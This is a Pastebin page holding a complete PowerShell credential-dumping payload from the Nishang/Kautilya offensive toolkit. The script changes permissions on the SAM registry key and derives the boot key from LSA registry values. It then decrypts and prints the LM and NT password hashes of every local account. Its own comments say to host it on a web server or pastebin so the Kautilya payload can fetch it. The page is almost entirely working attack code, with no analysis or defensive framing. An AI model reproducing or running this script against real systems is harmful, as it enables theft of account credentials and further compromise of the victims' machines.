API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Mar 18th, 2017
170
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.20 KB | None | 0 0
raw download clone embed print report
  1. function hashdump_download {
  2. <#
  3. .SYNOPSIS
  4. Nishang payload modified for Kautilya which dumps password hashes.
  5.  
  6. .DESCRIPTION
  7. This is the script used by Kautilya payload "hashdump_powershelldown". Put this script on any web server or service like pastebin and use the url in Kautilya.
  8. The hashes are dumped using a modified version of powerdump script from MSF written by David Kennedy.
  9. Administrator privileges are required for this script
  10. (but not SYSTEM privs as for the original powerdump)
  11. .EXAMPLE
  12. PS > ha
  13.  
  14. .LINK
  15. http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
  16. https://github.com/samratashok/nishang
  17. #>
  18. [CmdletBinding()]
  19. Param ()
  20.  
  21.  
  22. #######################################powerdump written by David Kennedy#########################################
  23. function LoadApi
  24. {
  25. $oldErrorAction = $global:ErrorActionPreference;
  26. $global:ErrorActionPreference = "SilentlyContinue";
  27. $test = [PowerDump.Native];
  28. $global:ErrorActionPreference = $oldErrorAction;
  29. if ($test)
  30. {
  31. # already loaded
  32. return;
  33. }
  34.  
  35. $code = @'
  36. using System;
  37. using System.Security.Cryptography;
  38. using System.Runtime.InteropServices;
  39. using System.Text;
  40. namespace PowerDump
  41. {
  42. public class Native
  43. {
  44. [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
  45. public static extern int RegOpenKeyEx(
  46. int hKey,
  47. string subKey,
  48. int ulOptions,
  49. int samDesired,
  50. out int hkResult);
  51. [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
  52. extern public static int RegEnumKeyEx(
  53. int hkey,
  54. int index,
  55. StringBuilder lpName,
  56. ref int lpcbName,
  57. int reserved,
  58. StringBuilder lpClass,
  59. ref int lpcbClass,
  60. out long lpftLastWriteTime);
  61. [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
  62. extern public static int RegQueryInfoKey(
  63. int hkey,
  64. StringBuilder lpClass,
  65. ref int lpcbClass,
  66. int lpReserved,
  67. out int lpcSubKeys,
  68. out int lpcbMaxSubKeyLen,
  69. out int lpcbMaxClassLen,
  70. out int lpcValues,
  71. out int lpcbMaxValueNameLen,
  72. out int lpcbMaxValueLen,
  73. out int lpcbSecurityDescriptor,
  74. IntPtr lpftLastWriteTime);
  75. [DllImport("advapi32.dll", SetLastError=true)]
  76. public static extern int RegCloseKey(
  77. int hKey);
  78. }
  79. } // end namespace PowerDump
  80. public class Shift {
  81. public static int Right(int x, int count) { return x >> count; }
  82. public static uint Right(uint x, int count) { return x >> count; }
  83. public static long Right(long x, int count) { return x >> count; }
  84. public static ulong Right(ulong x, int count) { return x >> count; }
  85. public static int Left(int x, int count) { return x << count; }
  86. public static uint Left(uint x, int count) { return x << count; }
  87. public static long Left(long x, int count) { return x << count; }
  88. public static ulong Left(ulong x, int count) { return x << count; }
  89. }
  90. '@
  91.  
  92. $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
  93. $dllName = [PsObject].Assembly.Location
  94. $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
  95. $assemblies = @("System.dll", $dllName)
  96. $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
  97. $compilerParameters.GenerateInMemory = $true
  98. $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
  99. if($compilerResults.Errors.Count -gt 0) {
  100. $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
  101. }
  102.  
  103. }
  104.  
  105. $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
  106. $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
  107. $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
  108. $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
  109. $odd_parity = @(
  110. 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  111. 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  112. 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  113. 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  114. 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  115. 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  116. 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  117. 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  118. 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  119. 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  120. 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  121. 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  122. 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  123. 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  124. 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  125. 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
  126. );
  127.  
  128. function sid_to_key($sid)
  129. {
  130. $s1 = @();
  131. $s1 += [char]($sid -band 0xFF);
  132. $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
  133. $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
  134. $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
  135. $s1 += $s1[0];
  136. $s1 += $s1[1];
  137. $s1 += $s1[2];
  138. $s2 = @();
  139. $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
  140. $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
  141. return ,((str_to_key $s1),(str_to_key $s2));
  142. }
  143.  
  144. function str_to_key($s)
  145. {
  146. $key = @();
  147. $key += [Shift]::Right([int]($s[0]), 1 );
  148. $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
  149. $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
  150. $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
  151. $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
  152. $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
  153. $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
  154. $key += $([int]($s[6]) -band 0x7F);
  155. 0..7 | %{
  156. $key[$_] = [Shift]::Left($key[$_], 1);
  157. $key[$_] = $odd_parity[$key[$_]];
  158. }
  159. return ,$key;
  160. }
  161.  
  162. function NewRC4([byte[]]$key)
  163. {
  164. return new-object Object |
  165. Add-Member NoteProperty key $key -PassThru |
  166. Add-Member NoteProperty S $null -PassThru |
  167. Add-Member ScriptMethod init {
  168. if (-not $this.S)
  169. {
  170. [byte[]]$this.S = 0..255;
  171. 0..255 | % -begin{[long]$j=0;}{
  172. $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
  173. $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
  174. }
  175. }
  176. } -PassThru |
  177. Add-Member ScriptMethod "encrypt" {
  178. $data = $args[0];
  179. $this.init();
  180. $outbuf = new-object byte[] $($data.Length);
  181. $S2 = $this.S[0..$this.S.Length];
  182. 0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
  183. $i = ($i+1) % $S2.Length;
  184. $j = ($j + $S2[$i]) % $S2.Length;
  185. $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
  186. $a = $data[$_];
  187. $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
  188. $outbuf[$_] = ($a -bxor $b);
  189. }
  190. return ,$outbuf;
  191. } -PassThru
  192. }
  193.  
  194. function des_encrypt([byte[]]$data, [byte[]]$key)
  195. {
  196. return ,(des_transform $data $key $true)
  197. }
  198.  
  199. function des_decrypt([byte[]]$data, [byte[]]$key)
  200. {
  201. return ,(des_transform $data $key $false)
  202. }
  203.  
  204. function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
  205. {
  206. $des = new-object Security.Cryptography.DESCryptoServiceProvider;
  207. $des.Mode = [Security.Cryptography.CipherMode]::ECB;
  208. $des.Padding = [Security.Cryptography.PaddingMode]::None;
  209. $des.Key = $key;
  210. $des.IV = $key;
  211. $transform = $null;
  212. if ($doEncrypt) {$transform = $des.CreateEncryptor();}
  213. else{$transform = $des.CreateDecryptor();}
  214. $result = $transform.TransformFinalBlock($data, 0, $data.Length);
  215. return ,$result;
  216. }
  217.  
  218. function Get-RegKeyClass([string]$key, [string]$subkey)
  219. {
  220. switch ($Key) {
  221. "HKCR" { $nKey = 0x80000000} #HK Classes Root
  222. "HKCU" { $nKey = 0x80000001} #HK Current User
  223. "HKLM" { $nKey = 0x80000002} #HK Local Machine
  224. "HKU" { $nKey = 0x80000003} #HK Users
  225. "HKCC" { $nKey = 0x80000005} #HK Current Config
  226. default {
  227. throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
  228. }
  229. }
  230. $KEYQUERYVALUE = 0x1;
  231. $KEYREAD = 0x19;
  232. $KEYALLACCESS = 0x3F;
  233. $result = "";
  234. [int]$hkey=0
  235. if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
  236. {
  237. $classVal = New-Object Text.Stringbuilder 1024
  238. [int]$len = 1024
  239. if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
  240. [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
  241. {
  242. $result = $classVal.ToString()
  243. }
  244. else
  245. {
  246. Write-Error "RegQueryInfoKey failed";
  247. }
  248. [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
  249. }
  250. else
  251. {
  252. Write-Error "Cannot open key";
  253. }
  254. return $result;
  255. }
  256.  
  257. function Get-BootKey
  258. {
  259. $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
  260. $b = new-object byte[] $($s.Length/2);
  261. 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
  262. $b2 = new-object byte[] 16;
  263. 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
  264. return ,$b2;
  265. }
  266.  
  267. function Get-HBootKey
  268. {
  269. param([byte[]]$bootkey);
  270. $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
  271. $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
  272. $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
  273. if (-not $k) {return $null}
  274. [byte[]]$F = $k.GetValue("F");
  275. if (-not $F) {return $null}
  276. $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
  277. $rc4 = NewRC4 $rc4key;
  278. return ,($rc4.encrypt($F[0x80..0x9F]));
  279. }
  280.  
  281. function Get-UserName([byte[]]$V)
  282. {
  283. if (-not $V) {return $null};
  284. $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
  285. $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
  286. return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
  287. }
  288.  
  289. function Get-UserHashes($u, [byte[]]$hbootkey)
  290. {
  291. [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
  292.  
  293. # check if hashes exist (if byte memory equals to 20, then we've got a hash)
  294. $LM_exists = $false;
  295. $NT_exists = $false;
  296. # LM header check
  297. if ($u.V[0xa0..0xa3] -eq 20)
  298. {
  299. $LM_exists = $true;
  300. }
  301. # NT header check
  302. elseif ($u.V[0xac..0xaf] -eq 20)
  303. {
  304. $NT_exists = $true;
  305. }
  306.  
  307. if ($LM_exists -eq $true)
  308. {
  309. $lm_hash_offset = $u.HashOffset + 4;
  310. $nt_hash_offset = $u.HashOffset + 8 + 0x10;
  311. $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
  312. $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
  313. }
  314.  
  315. elseif ($NT_exists -eq $true)
  316. {
  317. $nt_hash_offset = $u.HashOffset + 8;
  318. $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
  319. }
  320. return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
  321. }
  322.  
  323. function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
  324. {
  325. [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
  326. # LM Hash
  327. if ($enc_lm_hash)
  328. {
  329. $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
  330. }
  331.  
  332. # NT Hash
  333. if ($enc_nt_hash)
  334. {
  335. $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
  336. }
  337.  
  338. return ,($lmhash,$nthash)
  339. }
  340.  
  341. function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
  342. {
  343. $deskeys = sid_to_key $rid;
  344. $md5 = [Security.Cryptography.MD5]::Create();
  345. $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
  346. $rc4 = NewRC4 $rc4_key;
  347. $obfkey = $rc4.encrypt($enc_hash);
  348. $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
  349. (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
  350. return ,$hash;
  351. }
  352.  
  353. function Get-UserKeys
  354. {
  355. ls HKLM:\SAM\SAM\Domains\Account\Users |
  356. where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
  357. Add-Member AliasProperty KeyName PSChildName -PassThru |
  358. Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
  359. Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
  360. Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
  361. Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
  362. }
  363.  
  364. function DumpHashes
  365. {
  366. LoadApi
  367. $bootkey = Get-BootKey;
  368. $hbootKey = Get-HBootKey $bootkey;
  369. Get-UserKeys | %{
  370. $hashes = Get-UserHashes $_ $hBootKey;
  371. "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
  372. [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
  373. [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
  374. }
  375. }
  376.  
  377. #http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
  378. if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
  379. {
  380. Write-Warning "Script requires elevated or administrative privileges."
  381. Return
  382. }
  383. else
  384. {
  385. #Set permissions for the current user.
  386. $rule = New-Object System.Security.AccessControl.RegistryAccessRule (
  387. [System.Security.Principal.WindowsIdentity]::GetCurrent().Name,
  388. "FullControl",
  389. [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit",
  390. [System.Security.AccessControl.PropagationFlags]"None",
  391. [System.Security.AccessControl.AccessControlType]"Allow")
  392. $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
  393. "SAM\SAM\Domains",
  394. [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
  395. [System.Security.AccessControl.RegistryRights]::ChangePermissions)
  396. $acl = $key.GetAccessControl()
  397. $acl.SetAccessRule($rule)
  398. $key.SetAccessControl($acl)
  399.  
  400. DumpHashes
  401.  
  402. #Remove the permissions added above.
  403. $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
  404. $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null
  405. Set-Acl HKLM:\SAM\SAM\Domains $acl
  406.  
  407. }
  408. }
  409. hashdump_download
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!